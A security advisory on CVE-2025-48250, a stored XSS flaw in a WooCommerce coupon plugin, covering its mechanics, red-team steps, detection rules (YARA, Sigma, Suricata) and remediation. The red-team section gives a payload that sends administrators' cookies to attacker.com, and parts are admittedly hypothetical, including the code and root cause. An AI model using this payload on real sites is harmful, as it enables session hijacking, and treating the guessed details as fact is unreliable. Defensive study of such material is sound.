CVE-2025-48250

Executive Summary

CVE-2025-48250 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin Coupons & Add to Cart by URL Links for WooCommerce by WPFactory (formerly Algoritmika). The vulnerability exists in versions up to and including 1.7.7. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin’s input fields. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who install this plugin from the repository are at risk if they are running version 1.7.7 or earlier. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which relies on plugin authors for security updates. Since no patch is available, users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a contributor-level account or higher.
• User Interaction: Required (UI:R) – The victim must view the malicious page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited ability to modify data.
• Availability Impact: Low (A:L) – Limited ability to disrupt service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a WooCommerce plugin could lead to admin account compromise and e-commerce site defacement.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the plugin’s web page generation. The plugin likely accepts user input for coupon codes, URLs, or other parameters and stores it in the WordPress database without proper sanitization or output encoding. When this stored data is later rendered in an admin or front-end page, the injected script executes.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin.
2. The attacker navigates to the plugin’s settings or coupon creation page.
3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an input field that is not sanitized.
4. The payload is stored in the database.
5. An administrator or other user views the affected page (e.g., coupon list, settings page).
6. The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Root Cause: The plugin fails to use WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses()) when outputting user-supplied data.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

echo '<div class="coupon-code">' . $coupon_code . '</div>';

Patched Code (PHP):

echo '<div class="coupon-code">' . esc_html( $coupon_code ) . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WooCommerce and the vulnerable plugin (version <= 1.7.7).
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the plugin’s coupon creation page (e.g., /wp-admin/admin.php?page=wc-settings&tab=alg_wc_url_coupons).
3. In the coupon code field, enter a payload such as:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the coupon.
5. Wait for an administrator to view the coupon list or settings page.
6. The administrator’s browser sends their cookies to the attacker’s server.

Note: No public exploit code is available, so this is a manual process.

Blue Team

Detection:

• Monitor for unusual input patterns in plugin-related fields (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Review WordPress user activity logs for suspicious coupon creation.

Hunting:

• Search the WordPress database for stored XSS payloads:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  

• Check for unexpected admin user creation or changes to plugin settings.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress admin interface.
• Host: Presence of <script> tags or event handlers in the wp_postmeta table.
• File: Modified plugin files (though this is a stored XSS, not a file inclusion).
• Log: Unusual user agent strings or referrers in web server logs.

Example IOC (Database):

SELECT meta_value FROM wp_postmeta WHERE meta_key LIKE '%coupon%' AND meta_value REGEXP '<script[^>]*>.*</script>';

Detection Engineering

YARA Rule

rule CVE_2025_48250_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress plugin Coupons & Add to Cart by URL Links for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48250"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Coupons & Add to Cart by URL Links for WooCommerce
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in the plugin's database entries
author: Valters IT
date: 2025-04-10
logsource:
    category: database
    product: mysql
detection:
    selection:
        query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in coupon descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48250 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; nocase; content:"action=alg_wc_url_coupons"; nocase; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and clean any existing stored XSS payloads from the database.
3. Reset passwords for all admin and contributor accounts.

Long-term Fix:

• Apply input sanitization and output escaping using WordPress functions (esc_html(), esc_attr(), wp_kses()).
• Implement a Content Security Policy (CSP) to block inline scripts.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.

Vendor Contact:

• Notify WPFactory via their support channels and request a security update.

Valters IT